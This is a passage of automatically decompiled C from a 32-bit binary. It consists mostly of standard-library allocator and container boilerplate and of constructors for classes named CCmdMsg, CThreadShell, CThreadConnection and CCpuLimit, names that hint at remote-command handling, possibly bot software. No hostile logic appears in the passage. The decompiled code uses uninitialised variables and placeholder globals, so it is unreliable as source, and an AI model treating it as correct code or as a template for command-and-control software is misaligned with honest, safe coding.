int32_t std__vector_lt_CSubTask_comma__std__allocator_lt_CSubTask_gt___gt__207(struct struct_6 * a1, int32_t a2) {
// 0x8068c4a
return std___Vector_base_lt_CSubTask_comma__std__allocator_lt_CSubTask_gt___gt__198(a1, a2);
}
// Address range: 0x8068c64 - 0x8068ce9
int32_t CTask_208(struct struct_45 * a1) {
struct struct_6 * v1 = NULL; // bp-5
CSerial_81(&a1->e0);
a1->e0 = 0x80ff6b8;
CCpuLimit_82((struct struct_13 *)((int32_t)a1 + 4));
*(int32_t *)((int32_t)a1 + 24) = 0;
*(int32_t *)((int32_t)a1 + 28) = 0;
*(int32_t *)((int32_t)a1 + 32) = 0;
std__allocator_lt_CSubTask_gt__206((int32_t)v1);
std__vector_lt_CSubTask_comma__std__allocator_lt_CSubTask_gt___gt__207((struct struct_6 *)((int32_t)a1 + 36), (int32_t)v1);
return std__allocator_lt_CSubTask_gt_((int32_t *)v1);
}
// Address range: 0x8068cea - 0x8068dc1
int32_t CInitResponse_209(struct struct_45 * a1) {
// 0x8068cea
CSerial_81(&a1->e0);
a1->e0 = 0x80ff6f8;
CConfig_94((struct struct_17 *)((int32_t)a1 + 4));
*(int32_t *)((int32_t)a1 + 96) = 0;
*(int32_t *)((int32_t)a1 + 100) = 0;
*(int32_t *)((int32_t)a1 + 104) = 0;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_((int32_t *)((int32_t)a1 + 108));
return std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_((int32_t *)((int32_t)a1 + 112));
}
// Address range: 0x8068ddc - 0x8068de1
void __gnu_cxx____mt_alloc_lt_CCmdMsg__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) {
// 0x8068ddc
return;
}
// Address range: 0x8068de2 - 0x8068df9
int32_t std__allocator_lt_CCmdMsg__ptr__gt_(int32_t result) {
// 0x8068de2
__gnu_cxx____mt_alloc_lt_CCmdMsg__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_();
return result;
}
// Address range: 0x8068dfa - 0x8068dff
void __gnu_cxx____mt_alloc_lt_CThreadConnection__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) {
// 0x8068dfa
return;
}
// Address range: 0x8068e00 - 0x8068e17
int32_t std__allocator_lt_CThreadConnection__ptr__gt_(int32_t result) {
// 0x8068e00
__gnu_cxx____mt_alloc_lt_CThreadConnection__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_();
return result;
}
// Address range: 0x8068e18 - 0x8068e1d
void __gnu_cxx____mt_alloc_lt_CThreadShell__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) {
// 0x8068e18
return;
}
// Address range: 0x8068e1e - 0x8068e35
int32_t std__allocator_lt_CThreadShell__ptr__gt_(int32_t result) {
// 0x8068e1e
__gnu_cxx____mt_alloc_lt_CThreadShell__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_();
return result;
}
// Address range: 0x8068e36 - 0x8068e3b
void __gnu_cxx____mt_alloc_base_lt_void__ptr__gt_(void) {
// 0x8068e36
return;
}
// Address range: 0x8068e3c - 0x8068e57
int32_t __gnu_cxx____mt_alloc_lt_void__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__210(int32_t a1) {
// 0x8068e3c
__gnu_cxx____mt_alloc_base_lt_void__ptr__gt_();
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
return 0x8132c20;
}
// Address range: 0x8068e58 - 0x8068e6f
int32_t std__allocator_lt_void__ptr__gt__211(int32_t a1) {
// 0x8068e58
__gnu_cxx____mt_alloc_lt_void__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__210(a1);
return 0x8132c20;
}
// Address range: 0x8068e76 - 0x8068e81
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_value(int32_t * a1) {
// 0x8068e76
return (int32_t)a1 + 16;
}
// Address range: 0x8068e82 - 0x8068ea7
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_key(int32_t * a1) {
// 0x8068e82
std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_value(a1);
int32_t v1;
return std___Identity_lt_void__ptr__gt___operator_lb__rb_(v1);
}
// Address range: 0x8068ea8 - 0x8068ecb
int32_t std___Rb_tree_iterator_lt_void__ptr__gt___operator__(int32_t * a1) {
int32_t v1 = *a1; // bp-28
int32_t v2;
*a1 = std___Rb_tree_decrement((struct struct_94 *)&v1, v2, 0);
return (int32_t)a1;
}
// Address range: 0x8068ecc - 0x8068ed7
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_value_212(int32_t a1) {
// 0x8068ecc
g95 = a1;
return a1 + 16;
}
// Address range: 0x8068ed8 - 0x8068efd
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_key_213(int32_t a1) {
// 0x8068ed8
std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_value_212(a1);
int32_t v1;
return std___Identity_lt_void__ptr__gt___operator_lb__rb_(v1);
}
// Address range: 0x80693da - 0x80693df
void __gnu_cxx____mt_alloc_base_lt_CCmdMsg__ptr__gt_(void) {
// 0x80693da
return;
}
// Address range: 0x80693e0 - 0x80693fb
int32_t __gnu_cxx____mt_alloc_lt_CCmdMsg__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__219(int32_t a1) {
// 0x80693e0
__gnu_cxx____mt_alloc_base_lt_CCmdMsg__ptr__gt_();
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
return 0x8132c20;
}
// Address range: 0x80693fc - 0x8069413
int32_t std__allocator_lt_CCmdMsg__ptr__gt__220(int32_t a1) {
// 0x80693fc
__gnu_cxx____mt_alloc_lt_CCmdMsg__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__219(a1);
return 0x8132c20;
}
// Address range: 0x8069414 - 0x8069429
int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____M_init(int32_t ** a1) {
int32_t result = (int32_t)a1; // 0x8069417
*a1 = (int32_t *)a1;
*(int32_t *)(result + 4) = result;
return result;
}
// Address range: 0x806942a - 0x806942f
void __gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) {
// 0x806942a
return;
}
// Address range: 0x8069430 - 0x8069447
int32_t std__allocator_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt_(int32_t * a1) {
// 0x8069430
__gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_();
return (int32_t)a1;
}
// Address range: 0x8069448 - 0x806945f
int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____List_impl(int32_t * a1) {
// 0x8069448
g95 = (int32_t)a1;
return std__allocator_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt_(a1);
}
// Address range: 0x8069460 - 0x8069477
int32_t std__allocator_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt__221(int32_t result) {
// 0x8069460
__gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_();
return result;
}
// Address range: 0x8069478 - 0x806947d
void __gnu_cxx____mt_alloc_base_lt_CCmdMsg__ptr__gt___destroy(void) {
// 0x8069478
return;
}
// Address range: 0x806947e - 0x8069483
void __gnu_cxx____mt_alloc_base_lt_CThreadConnection__ptr__gt_(void) {
// 0x806947e
return;
}
// Address range: 0x8069484 - 0x806949f
int32_t __gnu_cxx____mt_alloc_lt_CThreadConnection__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__222(int32_t a1) {
// 0x8069484
__gnu_cxx____mt_alloc_base_lt_CThreadConnection__ptr__gt_();
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
return 0x8132c20;
}
// Address range: 0x80694a0 - 0x80694b7
int32_t std__allocator_lt_CThreadConnection__ptr__gt__223(int32_t a1) {
// 0x80694a0
__gnu_cxx____mt_alloc_lt_CThreadConnection__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__222(a1);
return 0x8132c20;
}
// Address range: 0x80694b8 - 0x80694cd
int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____M_init(int32_t ** a1) {
int32_t result = (int32_t)a1; // 0x80694bb
*a1 = (int32_t *)a1;
*(int32_t *)(result + 4) = result;
return result;
}
// Address range: 0x80694ce - 0x80694d3
void __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) {
// 0x80694ce
return;
}
// Address range: 0x80694d4 - 0x80694eb
int32_t std__allocator_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt_(int32_t * a1) {
// 0x80694d4
__gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_();
return (int32_t)a1;
}
// Address range: 0x80694ec - 0x8069503
int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____List_impl(int32_t * a1) {
// 0x80694ec
g95 = (int32_t)a1;
return std__allocator_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt_(a1);
}
// Address range: 0x8069504 - 0x806951b
int32_t std__allocator_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt__224(int32_t result) {
// 0x8069504
__gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_();
return result;
}
// Address range: 0x806951c - 0x8069521
void __gnu_cxx____mt_alloc_base_lt_CThreadConnection__ptr__gt___destroy(void) {
// 0x806951c
return;
}
// Address range: 0x8069522 - 0x8069527
void __gnu_cxx____mt_alloc_base_lt_CThreadShell__ptr__gt_(void) {
// 0x8069522
return;
}
// Address range: 0x8069528 - 0x8069543
int32_t __gnu_cxx____mt_alloc_lt_CThreadShell__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__225(int32_t a1) {
// 0x8069528
__gnu_cxx____mt_alloc_base_lt_CThreadShell__ptr__gt_();
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
return 0x8132c20;
}
// Address range: 0x8069544 - 0x806955b
int32_t std__allocator_lt_CThreadShell__ptr__gt__226(int32_t a1) {
// 0x8069544
__gnu_cxx____mt_alloc_lt_CThreadShell__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__225(a1);
return 0x8132c20;
}
// Address range: 0x806955c - 0x8069571
int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____M_init(int32_t ** a1) {
int32_t result = (int32_t)a1; // 0x806955f
*a1 = (int32_t *)a1;
*(int32_t *)(result + 4) = result;
return result;
}
// Address range: 0x8069572 - 0x8069577
void __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) {
// 0x8069572
return;
}
// Address range: 0x8069578 - 0x806958f
int32_t std__allocator_lt_std___List_node_lt_CThreadShell__ptr__gt___gt_(int32_t * a1) {
// 0x8069578
__gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_();
return (int32_t)a1;
}
// Address range: 0x8069590 - 0x80695a7
int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____List_impl(int32_t * a1) {
// 0x8069590
g95 = (int32_t)a1;
return std__allocator_lt_std___List_node_lt_CThreadShell__ptr__gt___gt_(a1);
}
// Address range: 0x80695a8 - 0x80695bf
int32_t std__allocator_lt_std___List_node_lt_CThreadShell__ptr__gt___gt__227(int32_t result) {
// 0x80695a8
__gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_();
return result;
}
// Address range: 0x80695c0 - 0x80695c5
void __gnu_cxx____mt_alloc_base_lt_CThreadShell__ptr__gt___destroy(void) {
// 0x80695c0
return;
}
// Address range: 0x80695c6 - 0x80695cb
void __gnu_cxx____mt_alloc_base_lt_std___Rb_tree_node_lt_void__ptr__gt___gt_(void) {
// 0x80695c6
return;
}
// Address range: 0x80695cc - 0x80695e7
int32_t __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_void__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__228(int32_t a1) {
// 0x80695cc
__gnu_cxx____mt_alloc_base_lt_std___Rb_tree_node_lt_void__ptr__gt___gt_();
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
return 0x8132c20;
}
// Address range: 0x80695e8 - 0x80695ff
int32_t std__allocator_lt_std___Rb_tree_node_lt_void__ptr__gt___gt__229(int32_t a1) {
// 0x80695e8
__gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_void__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__228(a1);
return 0x8132c20;
}
// Address range: 0x8069600 - 0x806961b
int32_t __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_void__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__230(int32_t a1) {
// 0x8069600
__gnu_cxx____mt_alloc_base_lt_std___Rb_tree_node_lt_void__ptr__gt___gt_();
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
return 0x8132c20;
}
// Address range: 0x806961c - 0x8069637
int32_t std__allocator_lt_std___Rb_tree_node_lt_void__ptr__gt___gt__231(int32_t a1, int32_t a2) {
// 0x806961c
__gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_void__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__230(a1);
return 0x8132c20;
}
// Address range: 0x8069638 - 0x8069687
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____Rb_tree_impl_lt_std__less_lt_void__ptr__gt__comma__false_gt__232(int32_t result, int32_t a2) {
// 0x8069638
std__allocator_lt_std___Rb_tree_node_lt_void__ptr__gt___gt__231(result, a2);
*(int32_t *)(result + 20) = 0;
int32_t v1 = result + 4; // 0x806965d
*(int32_t *)v1 = 0;
*(int32_t *)(result + 8) = 0;
g95 = result;
*(int32_t *)(result + 12) = v1;
*(int32_t *)(result + 16) = v1;
return result;
}
// Address range: 0x8069688 - 0x80696c7
void std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt_(int32_t * a1, int32_t a2, int32_t a3) {
// 0x8069688
int32_t * v1;
int32_t v2 = (int32_t)v1; // 0x8069698
std__allocator_lt_std___Rb_tree_node_lt_void__ptr__gt___gt__229(v2);
std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____Rb_tree_impl_lt_std__less_lt_void__ptr__gt__comma__false_gt__232((int32_t)a1, v2);
std__allocator_lt_std___Rb_tree_node_lt_void__ptr__gt___gt__191(v2);
}
// Address range: 0x80696c8 - 0x80696df
int32_t std__allocator_lt_void__ptr__gt__233(int32_t a1) {
// 0x80696c8
__gnu_cxx____mt_alloc_lt_void__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__210(a1);
return 0x8132c20;
}
// Address range: 0x80696e0 - 0x80696fd
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___get_allocator(int32_t result, int32_t * a2) {
// 0x80696e0
std__allocator_lt_void__ptr__gt__233(result);
return result;
}
// Address range: 0x80698b2 - 0x80698ef
void std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt__235(int32_t * a1) {
// 0x80698b2
int32_t v1;
std__allocator_lt_void__ptr__gt__211(v1);
int32_t v2;
std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt_(a1, v2, v1);
std__allocator_lt_void__ptr__gt_(v1);
}
// Address range: 0x80698f0 - 0x806991b
int32_t __gnu_cxx____mt_alloc_base_lt_void__ptr__gt___construct(int32_t a1, int32_t * a2) {
int32_t v1 = _ZnwjPv((int32_t *)4); // 0x80698fe
int32_t ** v2 = (int32_t **)v1; // 0x80698fe_4
int32_t ** v3; // 0x806991a_11
if (v1 != 0) {
// 0x806990f
int32_t ** v4;
int32_t v5 = *(int32_t *)v4; // 0x8069912
*v2 = (int32_t *)v5;
v3 = (int32_t **)v5;
// branch -> 0x8069919
} else {
v3 = v2;
}
// 0x8069919
return (int32_t)v3;
}
// Address range: 0x806a0c6 - 0x806a0dd
int32_t std__allocator_lt_CCmdMsg__ptr__gt__246(int32_t a1) {
// 0x806a0c6
__gnu_cxx____mt_alloc_lt_CCmdMsg__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__219(a1);
return 0x8132c20;
}
// Address range: 0x806a0de - 0x806a0fb
int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt___get_allocator(int32_t result, int32_t * a2) {
// 0x806a0de
std__allocator_lt_CCmdMsg__ptr__gt__246(result);
return result;
}
// Address range: 0x806a11e - 0x806a185
int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t a3) {
// 0x806a11e
if (((g95 & -256 || (int32_t)(a2 == NULL)) ^ 1) % 2 == 0) {
// 0x806a184
return 0;
}
// 0x806a132
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
int32_t v1 = 12 * a3; // 0x806a143
int32_t result; // 0x806a185_11
if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, (int32_t *)v1) == 0) {
// 0x806a16f
int32_t v2;
result = __gnu_cxx____pool_lt_true_gt____M_reclaim_block((struct struct_91 *)0x8132c20, (int32_t **)a2, (struct struct_88 *)v1, 0x806a137, v2, 0, 0, 0);
// branch -> 0x806a184
} else {
// 0x806a15f
result = _ZdlPv(a2);
// branch -> 0x806a184
}
// 0x806a184
return result;
}
// Address range: 0x806a186 - 0x806a1a1
int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____M_put_node(int32_t * a1, int32_t * a2) {
// 0x806a186
g95 = (int32_t)a1;
return __gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(a1, a2, 1);
}
// Address range: 0x806a356 - 0x806a3cb
int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____M_clear(int32_t ** a1) {
int32_t result = (int32_t)a1; // 0x806a35d
int32_t v1 = *(int32_t *)a1; // 0x806a360
if ((int32_t **)v1 == a1) {
// 0x806a3c7
return result;
}
int32_t * v2 = (int32_t *)v1; // 0x806a36a_0
int32_t v3 = *v2; // 0x806a370
g98 = v1 + 8;
int32_t v4;
std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt___get_allocator(v4, (int32_t *)a1);
__gnu_cxx____mt_alloc_base_lt_CCmdMsg__ptr__gt___destroy();
std__allocator_lt_CCmdMsg__ptr__gt_(v4);
std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____M_put_node((int32_t *)a1, v2);
while ((int32_t **)v3 != a1) {
// 0x806a367
v1 = v3;
v2 = (int32_t *)v1;
v3 = *v2;
g98 = v1 + 8;
std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt___get_allocator(v4, (int32_t *)a1);
__gnu_cxx____mt_alloc_base_lt_CCmdMsg__ptr__gt___destroy();
std__allocator_lt_CCmdMsg__ptr__gt_(v4);
std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____M_put_node((int32_t *)a1, v2);
// continue -> 0x806a367
}
// 0x806a3c7
return result;
}
// Address range: 0x806a3cc - 0x806a423
int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt_(int32_t ** a1) {
// 0x806a3cc
std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____M_clear(a1);
return std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____List_impl((int32_t *)a1);
}
// Address range: 0x806a424 - 0x806a43b
int32_t std__list_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt_(int32_t ** a1) {
// 0x806a424
return std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt_(a1);
}
// Address range: 0x806a43c - 0x806a4d9
int32_t CThreadMessageList_lt_CCmdMsg_gt_(int32_t a1) {
// 0x806a43c
CThreadMutex__DestroyMutex((int32_t *)(a1 + 12));
CThreadMutex_533();
return std__list_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt_((int32_t **)(a1 + 4));
}
// Address range: 0x806a4da - 0x806a577
int32_t CThreadMessageList_lt_CCmdMsg_gt__247(int32_t a1) {
// 0x806a4da
CThreadMutex__DestroyMutex((int32_t *)(a1 + 12));
CThreadMutex_533();
return std__list_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt_((int32_t **)(a1 + 4));
}
// Address range: 0x806a578 - 0x806a69d
int32_t CThreadSignaledMessageList_lt_CCmdMsg_gt_(int32_t a1) {
int32_t v1 = a1 + 144; // 0x806a582
int32_t v2 = v1; // bp-44
CThreadCondition__DestroyCondition(&v2);
int32_t v3 = a1 + 72; // 0x806a596
v2 = v3;
CThreadCondition__DestroyCondition(&v2);
v2 = v1;
CThreadCondition_526();
v2 = v3;
CThreadCondition_526();
int32_t v4 = a1 + 36; // 0x806a646
v2 = v4;
CThreadMessageList_lt_CCmdMsg_gt_(v4);
return CThreadMessageList_lt_CCmdMsg_gt__247(a1);
}
// Address range: 0x806a69e - 0x806a6b5
int32_t std__allocator_lt_CThreadConnection__ptr__gt__248(int32_t a1) {
// 0x806a69e
__gnu_cxx____mt_alloc_lt_CThreadConnection__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__222(a1);
return 0x8132c20;
}
// Address range: 0x806a6b6 - 0x806a6d3
int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt___get_allocator(int32_t result, int32_t * a2) {
// 0x806a6b6
std__allocator_lt_CThreadConnection__ptr__gt__248(result);
return result;
}
// Address range: 0x806a6f6 - 0x806a75d
int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t a3) {
// 0x806a6f6
if (((g95 & -256 || (int32_t)(a2 == NULL)) ^ 1) % 2 == 0) {
// 0x806a75c
return 0;
}
// 0x806a70a
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
int32_t v1 = 12 * a3; // 0x806a71b
int32_t result; // 0x806a75d_11
if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, (int32_t *)v1) == 0) {
// 0x806a747
int32_t v2;
result = __gnu_cxx____pool_lt_true_gt____M_reclaim_block((struct struct_91 *)0x8132c20, (int32_t **)a2, (struct struct_88 *)v1, 0x806a70f, v2, 0, 0, 0);
// branch -> 0x806a75c
} else {
// 0x806a737
result = _ZdlPv(a2);
// branch -> 0x806a75c
}
// 0x806a75c
return result;
}
// Address range: 0x806a75e - 0x806a779
int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____M_put_node(int32_t * a1, int32_t * a2) {
// 0x806a75e
g95 = (int32_t)a1;
return __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(a1, a2, 1);
}
// Address range: 0x806a92e - 0x806a9a3
int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____M_clear(int32_t ** a1) {
int32_t result = (int32_t)a1; // 0x806a935
int32_t v1 = *(int32_t *)a1; // 0x806a938
if ((int32_t **)v1 == a1) {
// 0x806a99f
return result;
}
int32_t * v2 = (int32_t *)v1; // 0x806a942_0
int32_t v3 = *v2; // 0x806a948
g98 = v1 + 8;
int32_t v4;
std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt___get_allocator(v4, (int32_t *)a1);
__gnu_cxx____mt_alloc_base_lt_CThreadConnection__ptr__gt___destroy();
std__allocator_lt_CThreadConnection__ptr__gt_(v4);
std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____M_put_node((int32_t *)a1, v2);
while ((int32_t **)v3 != a1) {
// 0x806a93f
v1 = v3;
v2 = (int32_t *)v1;
v3 = *v2;
g98 = v1 + 8;
std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt___get_allocator(v4, (int32_t *)a1);
__gnu_cxx____mt_alloc_base_lt_CThreadConnection__ptr__gt___destroy();
std__allocator_lt_CThreadConnection__ptr__gt_(v4);
std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____M_put_node((int32_t *)a1, v2);
// continue -> 0x806a93f
}
// 0x806a99f
return result;
}
// Address range: 0x806a9a4 - 0x806a9fb
int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt_(int32_t ** a1) {
// 0x806a9a4
std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____M_clear(a1);
return std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____List_impl((int32_t *)a1);
}
// Address range: 0x806a9fc - 0x806aa13
int32_t std__list_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt_(int32_t ** a1) {
// 0x806a9fc
return std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt_(a1);
}
// Address range: 0x806aa14 - 0x806aab1
int32_t CThreadMessageList_lt_CThreadConnection_gt_(int32_t a1) {
// 0x806aa14
CThreadMutex__DestroyMutex((int32_t *)(a1 + 12));
CThreadMutex_533();
return std__list_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt_((int32_t **)(a1 + 4));
}
// Address range: 0x806aab2 - 0x806ab4f
int32_t CThreadMessageList_lt_CThreadConnection_gt__249(int32_t a1) {
// 0x806aab2
CThreadMutex__DestroyMutex((int32_t *)(a1 + 12));
